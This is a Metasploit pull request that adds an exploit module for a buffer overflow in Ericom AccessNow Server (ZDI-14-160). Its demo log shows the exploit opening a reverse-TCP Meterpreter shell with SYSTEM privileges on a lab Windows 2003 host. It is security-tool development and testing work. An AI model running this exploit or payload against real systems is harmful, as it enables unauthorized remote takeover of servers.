rapid7/metasploit-framework — pull request #3460 by jvazquez-r7 (2014-06-17 20:06:51+00:00)
Title: Add module for ZDI-14-160 Ericom AccessNow Server Buffer Overflow

Tested successfully on Win2003 SP2 and Ericom AccessNow Server 2.4.0.2.

Verification
----------

- [ ] Install Windows 2003 SP2
- [ ] Install Ericom AccessNow Server 2.4.0.2 which can be downloaded from http://www.ericom.com/accessnow_older_version.asp (at least at the time of writing). I couldn't find unpatched 3 version installer :\.
- [ ] Use the module like in the demo, hopefully enjoy sessions!

```
msf > use exploit/windows/http/ericom_access_now_bof
msf exploit(ericom_access_now_bof) > set rhost 172.16.158.182
rhost => 172.16.158.182
msf exploit(ericom_access_now_bof) > check
[*] 172.16.158.182:8080 - The target appears to be vulnerable.
msf exploit(ericom_access_now_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ericom_access_now_bof) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(ericom_access_now_bof) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.182:8080 - Sending malformed request...
[*] Sending stage (769536 bytes) to 172.16.158.182
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.182:1054) at 2014-06-17 15:06:41 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
eComputer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.182 - Meterpreter session 1 closed. Reason: User exit
```